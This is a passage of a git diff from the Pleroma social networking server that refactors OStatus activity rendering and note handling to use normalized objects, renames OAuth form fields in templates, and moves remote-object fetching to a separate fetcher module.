	defp get_session_registration_id(conn), do: get_session(conn, :registration_id)

	defp put_session_registration_id(conn, registration_id),
	do: put_session(conn, :registration_id, registration_id)
	end
	diff --git a/lib/pleroma/web/ostatus/activity_representer.ex b/lib/pleroma/web/ostatus/activity_representer.ex
	index 1a1b74bb0..b11a2b5ce 100644
	--- a/lib/pleroma/web/ostatus/activity_representer.ex
	+++ b/lib/pleroma/web/ostatus/activity_representer.ex
	@@ -1,316 +1,310 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OStatus.ActivityRepresenter do
	alias Pleroma.Activity
	alias Pleroma.Object
	alias Pleroma.User
	alias Pleroma.Web.OStatus.UserRepresenter

	require Logger

	defp get_href(id) do
	with %Object{data: %{"external_url" => external_url}} <- Object.get_cached_by_ap_id(id) do
	external_url
	else
	_e -> id
	end
	end

	defp get_in_reply_to(%{"object" => %{"inReplyTo" => in_reply_to}}) do
	[
	{:"thr:in-reply-to",
	[ref: to_charlist(in_reply_to), href: to_charlist(get_href(in_reply_to))], []}
	]
	end

	defp get_in_reply_to(_), do: []

	defp get_mentions(to) do
	Enum.map(to, fn id ->
	cond do
	# Special handling for the AP/Ostatus public collections
	"https://www.w3.org/ns/activitystreams#Public" == id ->
	{:link,
	[
	rel: "mentioned",
	"ostatus:object-type": "http://activitystrea.ms/schema/1.0/collection",
	href: "http://activityschema.org/collection/public"
	], []}

	# Ostatus doesn't handle follower collections, ignore these.
	Regex.match?(~r/^#{Pleroma.Web.base_url()}.+followers$/, id) ->
	[]

	true ->
	{:link,
	[
	rel: "mentioned",
	"ostatus:object-type": "http://activitystrea.ms/schema/1.0/person",
	href: id
	], []}
	end
	end)
	end

	- defp get_links(%{local: true, data: data}) do
	+ defp get_links(%{local: true}, %{"id" => object_id}) do
	h = fn str -> [to_charlist(str)] end

	[
	- {:link, [type: ['application/atom+xml'], href: h.(data["object"]["id"]), rel: 'self'], []},
	- {:link, [type: ['text/html'], href: h.(data["object"]["id"]), rel: 'alternate'], []}
	+ {:link, [type: ['application/atom+xml'], href: h.(object_id), rel: 'self'], []},
	+ {:link, [type: ['text/html'], href: h.(object_id), rel: 'alternate'], []}
	]
	end

	- defp get_links(%{
	- local: false,
	- data: %{
	- "object" => %{
	- "external_url" => external_url
	- }
	- }
	- }) do
	+ defp get_links(%{local: false}, %{"external_url" => external_url}) do
	h = fn str -> [to_charlist(str)] end

	[
	{:link, [type: ['text/html'], href: h.(external_url), rel: 'alternate'], []}
	]
	end

	- defp get_links(_activity), do: []
	+ defp get_links(_activity, _object_data), do: []

	defp get_emoji_links(emojis) do
	Enum.map(emojis, fn {emoji, file} ->
	{:link, [name: to_charlist(emoji), rel: 'emoji', href: to_charlist(file)], []}
	end)
	end

	def to_simple_form(activity, user, with_author \\ false)

	- def to_simple_form(%{data: %{"object" => %{"type" => "Note"}}} = activity, user, with_author) do
	+ def to_simple_form(%{data: %{"type" => "Create"}} = activity, user, with_author) do
	h = fn str -> [to_charlist(str)] end

	- updated_at = activity.data["object"]["published"]
	- inserted_at = activity.data["object"]["published"]
	+ object = Object.normalize(activity.data["object"])
	+
	+ updated_at = object.data["published"]
	+ inserted_at = object.data["published"]

	attachments =
	- Enum.map(activity.data["object"]["attachment"] \|\| [], fn attachment ->
	+ Enum.map(object.data["attachment"] \|\| [], fn attachment ->
	url = hd(attachment["url"])

	{:link,
	[rel: 'enclosure', href: to_charlist(url["href"]), type: to_charlist(url["mediaType"])],
	[]}
	end)

	in_reply_to = get_in_reply_to(activity.data)
	author = if with_author, do: [{:author, UserRepresenter.to_simple_form(user)}], else: []
	mentions = activity.recipients \|> get_mentions

	categories =
	- (activity.data["object"]["tag"] \|\| [])
	+ (object.data["tag"] \|\| [])
	\|> Enum.map(fn tag ->
	if is_binary(tag) do
	{:category, [term: to_charlist(tag)], []}
	else
	nil
	end
	end)
	\|> Enum.filter(& &1)

	- emoji_links = get_emoji_links(activity.data["object"]["emoji"] \|\| %{})
	+ emoji_links = get_emoji_links(object.data["emoji"] \|\| %{})

	summary =
	- if activity.data["object"]["summary"] do
	- [{:summary, [], h.(activity.data["object"]["summary"])}]
	+ if object.data["summary"] do
	+ [{:summary, [], h.(object.data["summary"])}]
	else
	[]
	end

	[
	{:"activity:object-type", ['http://activitystrea.ms/schema/1.0/note']},
	{:"activity:verb", ['http://activitystrea.ms/schema/1.0/post']},
	# For notes, federate the object id.
	- {:id, h.(activity.data["object"]["id"])},
	+ {:id, h.(object.data["id"])},
	{:title, ['New note by #{user.nickname}']},
	- {:content, [type: 'html'],
	- h.(activity.data["object"]["content"] \|> String.replace(~r/[\n\r]/, ""))},
	+ {:content, [type: 'html'], h.(object.data["content"] \|> String.replace(~r/[\n\r]/, ""))},
	{:published, h.(inserted_at)},
	{:updated, h.(updated_at)},
	{:"ostatus:conversation", [ref: h.(activity.data["context"])],
	h.(activity.data["context"])},
	{:link, [ref: h.(activity.data["context"]), rel: 'ostatus:conversation'], []}
	] ++
	summary ++
	- get_links(activity) ++
	+ get_links(activity, object.data) ++
	categories ++ attachments ++ in_reply_to ++ author ++ mentions ++ emoji_links
	end

	def to_simple_form(%{data: %{"type" => "Like"}} = activity, user, with_author) do
	h = fn str -> [to_charlist(str)] end

	updated_at = activity.data["published"]
	inserted_at = activity.data["published"]

	_in_reply_to = get_in_reply_to(activity.data)
	author = if with_author, do: [{:author, UserRepresenter.to_simple_form(user)}], else: []
	mentions = activity.recipients \|> get_mentions

	[
	{:"activity:verb", ['http://activitystrea.ms/schema/1.0/favorite']},
	{:id, h.(activity.data["id"])},
	{:title, ['New favorite by #{user.nickname}']},
	{:content, [type: 'html'], ['#{user.nickname} favorited something']},
	{:published, h.(inserted_at)},
	{:updated, h.(updated_at)},
	{:"activity:object",
	[
	{:"activity:object-type", ['http://activitystrea.ms/schema/1.0/note']},
	# For notes, federate the object id.
	{:id, h.(activity.data["object"])}
	]},
	{:"ostatus:conversation", [ref: h.(activity.data["context"])],
	h.(activity.data["context"])},
	{:link, [ref: h.(activity.data["context"]), rel: 'ostatus:conversation'], []},
	{:link, [rel: 'self', type: ['application/atom+xml'], href: h.(activity.data["id"])], []},
	{:"thr:in-reply-to", [ref: to_charlist(activity.data["object"])], []}
	] ++ author ++ mentions
	end

	def to_simple_form(%{data: %{"type" => "Announce"}} = activity, user, with_author) do
	h = fn str -> [to_charlist(str)] end

	updated_at = activity.data["published"]
	inserted_at = activity.data["published"]

	_in_reply_to = get_in_reply_to(activity.data)
	author = if with_author, do: [{:author, UserRepresenter.to_simple_form(user)}], else: []

	retweeted_activity = Activity.get_create_by_object_ap_id(activity.data["object"])
	retweeted_user = User.get_cached_by_ap_id(retweeted_activity.data["actor"])

	retweeted_xml = to_simple_form(retweeted_activity, retweeted_user, true)

	mentions =
	([retweeted_user.ap_id] ++ activity.recipients)
	\|> Enum.uniq()
	\|> get_mentions()

	[
	{:"activity:object-type", ['http://activitystrea.ms/schema/1.0/activity']},
	{:"activity:verb", ['http://activitystrea.ms/schema/1.0/share']},
	{:id, h.(activity.data["id"])},
	{:title, ['#{user.nickname} repeated a notice']},
	{:content, [type: 'html'], ['RT #{retweeted_activity.data["object"]["content"]}']},
	{:published, h.(inserted_at)},
	{:updated, h.(updated_at)},
	{:"ostatus:conversation", [ref: h.(activity.data["context"])],
	h.(activity.data["context"])},
	{:link, [ref: h.(activity.data["context"]), rel: 'ostatus:conversation'], []},
	{:link, [rel: 'self', type: ['application/atom+xml'], href: h.(activity.data["id"])], []},
	{:"activity:object", retweeted_xml}
	] ++ mentions ++ author
	end

	def to_simple_form(%{data: %{"type" => "Follow"}} = activity, user, with_author) do
	h = fn str -> [to_charlist(str)] end

	updated_at = activity.data["published"]
	inserted_at = activity.data["published"]

	author = if with_author, do: [{:author, UserRepresenter.to_simple_form(user)}], else: []

	mentions = (activity.recipients \|\| []) \|> get_mentions

	[
	{:"activity:object-type", ['http://activitystrea.ms/schema/1.0/activity']},
	{:"activity:verb", ['http://activitystrea.ms/schema/1.0/follow']},
	{:id, h.(activity.data["id"])},
	{:title, ['#{user.nickname} started following #{activity.data["object"]}']},
	{:content, [type: 'html'],
	['#{user.nickname} started following #{activity.data["object"]}']},
	{:published, h.(inserted_at)},
	{:updated, h.(updated_at)},
	{:"activity:object",
	[
	{:"activity:object-type", ['http://activitystrea.ms/schema/1.0/person']},
	{:id, h.(activity.data["object"])},
	{:uri, h.(activity.data["object"])}
	]},
	{:link, [rel: 'self', type: ['application/atom+xml'], href: h.(activity.data["id"])], []}
	] ++ mentions ++ author
	end

	# Only undos of follow for now. Will need to get redone once there are more
	def to_simple_form(
	%{data: %{"type" => "Undo", "object" => %{"type" => "Follow"} = follow_activity}} =
	activity,
	user,
	with_author
	) do
	h = fn str -> [to_charlist(str)] end

	updated_at = activity.data["published"]
	inserted_at = activity.data["published"]

	author = if with_author, do: [{:author, UserRepresenter.to_simple_form(user)}], else: []

	mentions = (activity.recipients \|\| []) \|> get_mentions
	follow_activity = Activity.normalize(follow_activity)

	[
	{:"activity:object-type", ['http://activitystrea.ms/schema/1.0/activity']},
	{:"activity:verb", ['http://activitystrea.ms/schema/1.0/unfollow']},
	{:id, h.(activity.data["id"])},
	{:title, ['#{user.nickname} stopped following #{follow_activity.data["object"]}']},
	{:content, [type: 'html'],
	['#{user.nickname} stopped following #{follow_activity.data["object"]}']},
	{:published, h.(inserted_at)},
	{:updated, h.(updated_at)},
	{:"activity:object",
	[
	{:"activity:object-type", ['http://activitystrea.ms/schema/1.0/person']},
	{:id, h.(follow_activity.data["object"])},
	{:uri, h.(follow_activity.data["object"])}
	]},
	{:link, [rel: 'self', type: ['application/atom+xml'], href: h.(activity.data["id"])], []}
	] ++ mentions ++ author
	end

	def to_simple_form(%{data: %{"type" => "Delete"}} = activity, user, with_author) do
	h = fn str -> [to_charlist(str)] end

	updated_at = activity.data["published"]
	inserted_at = activity.data["published"]

	author = if with_author, do: [{:author, UserRepresenter.to_simple_form(user)}], else: []

	[
	{:"activity:object-type", ['http://activitystrea.ms/schema/1.0/activity']},
	{:"activity:verb", ['http://activitystrea.ms/schema/1.0/delete']},
	{:id, h.(activity.data["object"])},
	{:title, ['An object was deleted']},
	{:content, [type: 'html'], ['An object was deleted']},
	{:published, h.(inserted_at)},
	{:updated, h.(updated_at)}
	] ++ author
	end

	def to_simple_form(_, _, _), do: nil

	def wrap_with_entry(simple_form) do
	[
	{
	:entry,
	[
	xmlns: 'http://www.w3.org/2005/Atom',
	"xmlns:thr": 'http://purl.org/syndication/thread/1.0',
	"xmlns:activity": 'http://activitystrea.ms/spec/1.0/',
	"xmlns:poco": 'http://portablecontacts.net/spec/1.0',
	"xmlns:ostatus": 'http://ostatus.org/schema/1.0'
	],
	simple_form
	}
	]
	end
	end
	diff --git a/lib/pleroma/web/ostatus/handlers/note_handler.ex b/lib/pleroma/web/ostatus/handlers/note_handler.ex
	index db995ec77..ec6e5cfaf 100644
	--- a/lib/pleroma/web/ostatus/handlers/note_handler.ex
	+++ b/lib/pleroma/web/ostatus/handlers/note_handler.ex
	@@ -1,163 +1,164 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OStatus.NoteHandler do
	require Logger

	alias Pleroma.Activity
	alias Pleroma.Object
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.OStatus
	alias Pleroma.Web.XML

	@doc """
	Get the context for this note. Uses this:
	1. The context of the parent activity
	2. The conversation reference in the ostatus xml
	3. A newly generated context id.
	"""
	def get_context(entry, in_reply_to) do
	context =
	(XML.string_from_xpath("//ostatus:conversation[1]", entry) \|\|
	XML.string_from_xpath("//ostatus:conversation[1]/@ref", entry) \|\| "")
	\|> String.trim()

	with %{data: %{"context" => context}} <- Object.get_cached_by_ap_id(in_reply_to) do
	context
	else
	_e ->
	if String.length(context) > 0 do
	context
	else
	Utils.generate_context_id()
	end
	end
	end

	def get_people_mentions(entry) do
	:xmerl_xpath.string(
	'//link[@rel="mentioned" and @ostatus:object-type="http://activitystrea.ms/schema/1.0/person"]',
	entry
	)
	\|> Enum.map(fn person -> XML.string_from_xpath("@href", person) end)
	end

	def get_collection_mentions(entry) do
	transmogrify = fn
	"http://activityschema.org/collection/public" ->
	"https://www.w3.org/ns/activitystreams#Public"

	group ->
	group
	end

	:xmerl_xpath.string(
	'//link[@rel="mentioned" and @ostatus:object-type="http://activitystrea.ms/schema/1.0/collection"]',
	entry
	)
	\|> Enum.map(fn collection -> XML.string_from_xpath("@href", collection) \|> transmogrify.() end)
	end

	def get_mentions(entry) do
	(get_people_mentions(entry) ++ get_collection_mentions(entry))
	\|> Enum.filter(& &1)
	end

	def get_emoji(entry) do
	try do
	:xmerl_xpath.string('//link[@rel="emoji"]', entry)
	\|> Enum.reduce(%{}, fn emoji, acc ->
	Map.put(acc, XML.string_from_xpath("@name", emoji), XML.string_from_xpath("@href", emoji))
	end)
	rescue
	_e -> nil
	end
	end

	def make_to_list(actor, mentions) do
	[
	actor.follower_address
	] ++ mentions
	end

	def add_external_url(note, entry) do
	url = XML.string_from_xpath("//link[@rel='alternate' and @type='text/html']/@href", entry)
	Map.put(note, "external_url", url)
	end

	def fetch_replied_to_activity(entry, in_reply_to) do
	with %Activity{} = activity <- Activity.get_create_by_object_ap_id(in_reply_to) do
	activity
	else
	_e ->
	with in_reply_to_href when not is_nil(in_reply_to_href) <-
	XML.string_from_xpath("//thr:in-reply-to[1]/@href", entry),
	{:ok, [activity \| _]} <- OStatus.fetch_activity_from_url(in_reply_to_href) do
	activity
	else
	_e -> nil
	end
	end
	end

	# TODO: Clean this up a bit.
	def handle_note(entry, doc \\ nil) do
	with id <- XML.string_from_xpath("//id", entry),
	activity when is_nil(activity) <- Activity.get_create_by_object_ap_id_with_object(id),
	[author] <- :xmerl_xpath.string('//author[1]', doc),
	{:ok, actor} <- OStatus.find_make_or_update_user(author),
	content_html <- OStatus.get_content(entry),
	cw <- OStatus.get_cw(entry),
	in_reply_to <- XML.string_from_xpath("//thr:in-reply-to[1]/@ref", entry),
	in_reply_to_activity <- fetch_replied_to_activity(entry, in_reply_to),
	- in_reply_to <-
	- (in_reply_to_activity && in_reply_to_activity.data["object"]["id"]) \|\| in_reply_to,
	+ in_reply_to_object <-
	+ (in_reply_to_activity && Object.normalize(in_reply_to_activity)) \|\| nil,
	+ in_reply_to <- (in_reply_to_object && in_reply_to_object.data["id"]) \|\| in_reply_to,
	attachments <- OStatus.get_attachments(entry),
	context <- get_context(entry, in_reply_to),
	tags <- OStatus.get_tags(entry),
	mentions <- get_mentions(entry),
	to <- make_to_list(actor, mentions),
	date <- XML.string_from_xpath("//published", entry),
	unlisted <- XML.string_from_xpath("//mastodon:scope", entry) == "unlisted",
	cc <- if(unlisted, do: ["https://www.w3.org/ns/activitystreams#Public"], else: []),
	note <-
	CommonAPI.Utils.make_note_data(
	actor.ap_id,
	to,
	context,
	content_html,
	attachments,
	in_reply_to_activity,
	[],
	cw
	),
	note <- note \|> Map.put("id", id) \|> Map.put("tag", tags),
	note <- note \|> Map.put("published", date),
	note <- note \|> Map.put("emoji", get_emoji(entry)),
	note <- add_external_url(note, entry),
	note <- note \|> Map.put("cc", cc),
	# TODO: Handle this case in make_note_data
	note <-
	if(
	in_reply_to && !in_reply_to_activity,
	do: note \|> Map.put("inReplyTo", in_reply_to),
	else: note
	) do
	ActivityPub.create(%{
	to: to,
	actor: actor,
	context: context,
	object: note,
	published: date,
	local: false,
	additional: %{"cc" => cc}
	})
	else
	%Activity{} = activity -> {:ok, activity}
	e -> {:error, e}
	end
	end
	end
	diff --git a/lib/pleroma/web/templates/o_auth/o_auth/_scopes.html.eex b/lib/pleroma/web/templates/o_auth/o_auth/_scopes.html.eex
	index 4b8fb5dae..e6cfe108b 100644
	--- a/lib/pleroma/web/templates/o_auth/o_auth/_scopes.html.eex
	+++ b/lib/pleroma/web/templates/o_auth/o_auth/_scopes.html.eex
	@@ -1,13 +1,13 @@
	<div class="scopes-input">
	<%= label @form, :scope, "Permissions" %>

	<div class="scopes">
	<%= for scope <- @available_scopes do %>
	<%# Note: using hidden input with `unchecked_value` in order to distinguish user's empty selection from `scope` param being omitted %>
	<div class="scope">
	- <%= checkbox @form, :"scope_#{scope}", value: scope in @scopes && scope, checked_value: scope, unchecked_value: "", name: assigns[:scope_param] \|\| "scope[]" %>
	+ <%= checkbox @form, :"scope_#{scope}", value: scope in @scopes && scope, checked_value: scope, unchecked_value: "", name: "authorization[scope][]" %>
	<%= label @form, :"scope_#{scope}", String.capitalize(scope) %>
	</div>
	<% end %>
	</div>
	</div>
	diff --git a/lib/pleroma/web/templates/o_auth/o_auth/consumer.html.eex b/lib/pleroma/web/templates/o_auth/o_auth/consumer.html.eex
	index 85f62ca64..4bcda7300 100644
	--- a/lib/pleroma/web/templates/o_auth/o_auth/consumer.html.eex
	+++ b/lib/pleroma/web/templates/o_auth/o_auth/consumer.html.eex
	@@ -1,13 +1,13 @@
	<h2>Sign in with external provider</h2>

	-<%= form_for @conn, o_auth_path(@conn, :prepare_request), [method: "get"], fn f -> %>
	+<%= form_for @conn, o_auth_path(@conn, :prepare_request), [as: "authorization", method: "get"], fn f -> %>
	<%= render @view_module, "_scopes.html", Map.put(assigns, :form, f) %>

	<%= hidden_input f, :client_id, value: @client_id %>
	<%= hidden_input f, :redirect_uri, value: @redirect_uri %>
	<%= hidden_input f, :state, value: @state %>

	<%= for strategy <- Pleroma.Config.oauth_consumer_strategies() do %>
	<%= submit "Sign in with #{String.capitalize(strategy)}", name: "provider", value: strategy %>
	<% end %>
	<% end %>
	diff --git a/lib/pleroma/web/templates/o_auth/o_auth/register.html.eex b/lib/pleroma/web/templates/o_auth/o_auth/register.html.eex
	index 126390391..facedc8db 100644
	--- a/lib/pleroma/web/templates/o_auth/o_auth/register.html.eex
	+++ b/lib/pleroma/web/templates/o_auth/o_auth/register.html.eex
	@@ -1,43 +1,42 @@
	<%= if get_flash(@conn, :info) do %>
	<p class="alert alert-info" role="alert"><%= get_flash(@conn, :info) %></p>
	<% end %>
	<%= if get_flash(@conn, :error) do %>
	<p class="alert alert-danger" role="alert"><%= get_flash(@conn, :error) %></p>
	<% end %>

	<h2>Registration Details</h2>

	<p>If you'd like to register a new account, please provide the details below.</p>
	-
	-<%= form_for @conn, o_auth_path(@conn, :register), [], fn f -> %>
	+<%= form_for @conn, o_auth_path(@conn, :register), [as: "authorization"], fn f -> %>

	<div class="input">
	<%= label f, :nickname, "Nickname" %>
	<%= text_input f, :nickname, value: @nickname %>
	</div>
	<div class="input">
	<%= label f, :email, "Email" %>
	<%= text_input f, :email, value: @email %>
	</div>

	<%= submit "Proceed as new user", name: "op", value: "register" %>

	<p>Alternatively, sign in to connect to existing account.</p>

	<div class="input">
	- <%= label f, :auth_name, "Name or email" %>
	- <%= text_input f, :auth_name %>
	+ <%= label f, :name, "Name or email" %>
	+ <%= text_input f, :name %>
	</div>
	<div class="input">
	<%= label f, :password, "Password" %>
	<%= password_input f, :password %>
	</div>

	<%= submit "Proceed as existing user", name: "op", value: "connect" %>

	<%= hidden_input f, :client_id, value: @client_id %>
	<%= hidden_input f, :redirect_uri, value: @redirect_uri %>
	<%= hidden_input f, :scope, value: Enum.join(@scopes, " ") %>
	<%= hidden_input f, :state, value: @state %>

	<% end %>
	diff --git a/lib/pleroma/web/templates/o_auth/o_auth/show.html.eex b/lib/pleroma/web/templates/o_auth/o_auth/show.html.eex
	index 87278e636..3e360a52c 100644
	--- a/lib/pleroma/web/templates/o_auth/o_auth/show.html.eex
	+++ b/lib/pleroma/web/templates/o_auth/o_auth/show.html.eex
	@@ -1,31 +1,31 @@
	<%= if get_flash(@conn, :info) do %>
	<p class="alert alert-info" role="alert"><%= get_flash(@conn, :info) %></p>
	<% end %>
	<%= if get_flash(@conn, :error) do %>
	<p class="alert alert-danger" role="alert"><%= get_flash(@conn, :error) %></p>
	<% end %>

	<h2>OAuth Authorization</h2>

	<%= form_for @conn, o_auth_path(@conn, :authorize), [as: "authorization"], fn f -> %>
	<div class="input">
	<%= label f, :name, "Name or email" %>
	<%= text_input f, :name %>
	</div>
	<div class="input">
	<%= label f, :password, "Password" %>
	<%= password_input f, :password %>
	</div>

	-<%= render @view_module, "_scopes.html", Map.merge(assigns, %{form: f, scope_param: "authorization[scope][]"}) %>
	+<%= render @view_module, "_scopes.html", Map.merge(assigns, %{form: f}) %>

	<%= hidden_input f, :client_id, value: @client_id %>
	<%= hidden_input f, :response_type, value: @response_type %>
	<%= hidden_input f, :redirect_uri, value: @redirect_uri %>
	<%= hidden_input f, :state, value: @state %>
	<%= submit "Authorize" %>
	<% end %>

	<%= if Pleroma.Config.oauth_consumer_enabled?() do %>
	<%= render @view_module, Pleroma.Web.Auth.Authenticator.oauth_consumer_template(), assigns %>
	<% end %>
	diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex
	index 6a58cdde5..74a2f2611 100644
	--- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex
	+++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex
	@@ -1,366 +1,366 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.TwitterAPI.UtilController do
	use Pleroma.Web, :controller

	require Logger

	alias Comeonin.Pbkdf2
	alias Pleroma.Activity
	alias Pleroma.Emoji
	alias Pleroma.Notification
	alias Pleroma.PasswordResetToken
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.OStatus
	alias Pleroma.Web.WebFinger

	def show_password_reset(conn, %{"token" => token}) do
	with %{used: false} = token <- Repo.get_by(PasswordResetToken, %{token: token}),
	%User{} = user <- User.get_cached_by_id(token.user_id) do
	render(conn, "password_reset.html", %{
	token: token,
	user: user
	})
	else
	_e -> render(conn, "invalid_token.html")
	end
	end

	def password_reset(conn, %{"data" => data}) do
	with {:ok, _} <- PasswordResetToken.reset_password(data["token"], data) do
	render(conn, "password_reset_success.html")
	else
	_e -> render(conn, "password_reset_failed.html")
	end
	end

	def help_test(conn, _params) do
	json(conn, "ok")
	end

	def remote_subscribe(conn, %{"nickname" => nick, "profile" => _}) do
	with %User{} = user <- User.get_cached_by_nickname(nick), avatar = User.avatar_url(user) do
	conn
	\|> render("subscribe.html", %{nickname: nick, avatar: avatar, error: false})
	else
	_e ->
	render(conn, "subscribe.html", %{
	nickname: nick,
	avatar: nil,
	error: "Could not find user"
	})
	end
	end

	def remote_subscribe(conn, %{"user" => %{"nickname" => nick, "profile" => profile}}) do
	with {:ok, %{"subscribe_address" => template}} <- WebFinger.finger(profile),
	%User{ap_id: ap_id} <- User.get_cached_by_nickname(nick) do
	conn
	\|> Phoenix.Controller.redirect(external: String.replace(template, "{uri}", ap_id))
	else
	_e ->
	render(conn, "subscribe.html", %{
	nickname: nick,
	avatar: nil,
	error: "Something went wrong."
	})
	end
	end

	def remote_follow(%{assigns: %{user: user}} = conn, %{"acct" => acct}) do
	if is_status?(acct) do
	- {:ok, object} = ActivityPub.fetch_object_from_id(acct)
	+ {:ok, object} = Pleroma.Object.Fetcher.fetch_object_from_id(acct)
	%Activity{id: activity_id} = Activity.get_create_by_object_ap_id(object.data["id"])
	redirect(conn, to: "/notice/#{activity_id}")
	else
	{err, followee} = OStatus.find_or_make_user(acct)
	avatar = User.avatar_url(followee)
	name = followee.nickname
	id = followee.id

	if !!user do
	conn
	\|> render("follow.html", %{error: err, acct: acct, avatar: avatar, name: name, id: id})
	else
	conn
	\|> render("follow_login.html", %{
	error: false,
	acct: acct,
	avatar: avatar,
	name: name,
	id: id
	})
	end
	end
	end

	defp is_status?(acct) do
	- case ActivityPub.fetch_and_contain_remote_object_from_id(acct) do
	+ case Pleroma.Object.Fetcher.fetch_and_contain_remote_object_from_id(acct) do
	{:ok, %{"type" => type}} when type in ["Article", "Note", "Video", "Page", "Question"] ->
	true

	_ ->
	false
	end
	end

	def do_remote_follow(conn, %{
	"authorization" => %{"name" => username, "password" => password, "id" => id}
	}) do
	followee = User.get_cached_by_id(id)
	avatar = User.avatar_url(followee)
	name = followee.nickname

	with %User{} = user <- User.get_cached_by_nickname(username),
	true <- Pbkdf2.checkpw(password, user.password_hash),
	%User{} = _followed <- User.get_cached_by_id(id),
	{:ok, follower} <- User.follow(user, followee),
	{:ok, _activity} <- ActivityPub.follow(follower, followee) do
	conn
	\|> render("followed.html", %{error: false})
	else
	# Was already following user
	{:error, "Could not follow user:" <> _rest} ->
	render(conn, "followed.html", %{error: false})

	_e ->
	conn
	\|> render("follow_login.html", %{
	error: "Wrong username or password",
	id: id,
	name: name,
	avatar: avatar
	})
	end
	end

	def do_remote_follow(%{assigns: %{user: user}} = conn, %{"user" => %{"id" => id}}) do
	with %User{} = followee <- User.get_cached_by_id(id),
	{:ok, follower} <- User.follow(user, followee),
	{:ok, _activity} <- ActivityPub.follow(follower, followee) do
	conn
	\|> render("followed.html", %{error: false})
	else
	# Was already following user
	{:error, "Could not follow user:" <> _rest} ->
	conn
	\|> render("followed.html", %{error: false})

	e ->
	Logger.debug("Remote follow failed with error #{inspect(e)}")

	conn
	\|> render("followed.html", %{error: inspect(e)})
	end
	end

	def notifications_read(%{assigns: %{user: user}} = conn, %{"id" => notification_id}) do
	with {:ok, _} <- Notification.read_one(user, notification_id) do
	json(conn, %{status: "success"})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def config(conn, _params) do
	instance = Pleroma.Config.get(:instance)
	instance_fe = Pleroma.Config.get(:fe)
	instance_chat = Pleroma.Config.get(:chat)

	case get_format(conn) do
	"xml" ->
	response = """
	<config>
	<site>
	<name>#{Keyword.get(instance, :name)}</name>
	<site>#{Web.base_url()}</site>
	<textlimit>#{Keyword.get(instance, :limit)}</textlimit>
	<closed>#{!Keyword.get(instance, :registrations_open)}</closed>
	</site>
	</config>
	"""

	conn
	\|> put_resp_content_type("application/xml")
	\|> send_resp(200, response)

	_ ->
	vapid_public_key = Keyword.get(Pleroma.Web.Push.vapid_config(), :public_key)

	uploadlimit = %{
	uploadlimit: to_string(Keyword.get(instance, :upload_limit)),
	avatarlimit: to_string(Keyword.get(instance, :avatar_upload_limit)),
	backgroundlimit: to_string(Keyword.get(instance, :background_upload_limit)),
	bannerlimit: to_string(Keyword.get(instance, :banner_upload_limit))
	}

	data = %{
	name: Keyword.get(instance, :name),
	description: Keyword.get(instance, :description),
	server: Web.base_url(),
	textlimit: to_string(Keyword.get(instance, :limit)),
	uploadlimit: uploadlimit,
	closed: if(Keyword.get(instance, :registrations_open), do: "0", else: "1"),
	private: if(Keyword.get(instance, :public, true), do: "0", else: "1"),
	vapidPublicKey: vapid_public_key,
	accountActivationRequired:
	if(Keyword.get(instance, :account_activation_required, false), do: "1", else: "0"),
	invitesEnabled: if(Keyword.get(instance, :invites_enabled, false), do: "1", else: "0"),
	safeDMMentionsEnabled:
	if(Pleroma.Config.get([:instance, :safe_dm_mentions]), do: "1", else: "0")
	}

	pleroma_fe =
	if instance_fe do
	%{
	theme: Keyword.get(instance_fe, :theme),
	background: Keyword.get(instance_fe, :background),
	logo: Keyword.get(instance_fe, :logo),
	logoMask: Keyword.get(instance_fe, :logo_mask),
	logoMargin: Keyword.get(instance_fe, :logo_margin),
	redirectRootNoLogin: Keyword.get(instance_fe, :redirect_root_no_login),
	redirectRootLogin: Keyword.get(instance_fe, :redirect_root_login),
	chatDisabled: !Keyword.get(instance_chat, :enabled),
	showInstanceSpecificPanel: Keyword.get(instance_fe, :show_instance_panel),
	scopeOptionsEnabled: Keyword.get(instance_fe, :scope_options_enabled),
	formattingOptionsEnabled: Keyword.get(instance_fe, :formatting_options_enabled),
	collapseMessageWithSubject:
	Keyword.get(instance_fe, :collapse_message_with_subject),
	hidePostStats: Keyword.get(instance_fe, :hide_post_stats),
	hideUserStats: Keyword.get(instance_fe, :hide_user_stats),
	scopeCopy: Keyword.get(instance_fe, :scope_copy),
	subjectLineBehavior: Keyword.get(instance_fe, :subject_line_behavior),
	alwaysShowSubjectInput: Keyword.get(instance_fe, :always_show_subject_input)
	}
	else
	Pleroma.Config.get([:frontend_configurations, :pleroma_fe])
	end

	managed_config = Keyword.get(instance, :managed_config)

	data =
	if managed_config do
	data \|> Map.put("pleromafe", pleroma_fe)
	else
	data
	end

	json(conn, %{site: data})
	end
	end

	def frontend_configurations(conn, _params) do
	config =
	Pleroma.Config.get(:frontend_configurations, %{})
	\|> Enum.into(%{})

	json(conn, config)
	end

	def version(conn, _params) do
	version = Pleroma.Application.named_version()

	case get_format(conn) do
	"xml" ->
	response = "<version>#{version}</version>"

	conn
	\|> put_resp_content_type("application/xml")
	\|> send_resp(200, response)

	_ ->
	json(conn, version)
	end
	end

	def emoji(conn, _params) do
	emoji =
	Emoji.get_all()
	\|> Enum.map(fn {short_code, path, tags} ->
	- {short_code, %{image_url: path, tags: String.split(tags, ",")}}
	+ {short_code, %{image_url: path, tags: tags}}
	end)
	\|> Enum.into(%{})

	json(conn, emoji)
	end

	def update_notificaton_settings(%{assigns: %{user: user}} = conn, params) do
	with {:ok, _} <- User.update_notification_settings(user, params) do
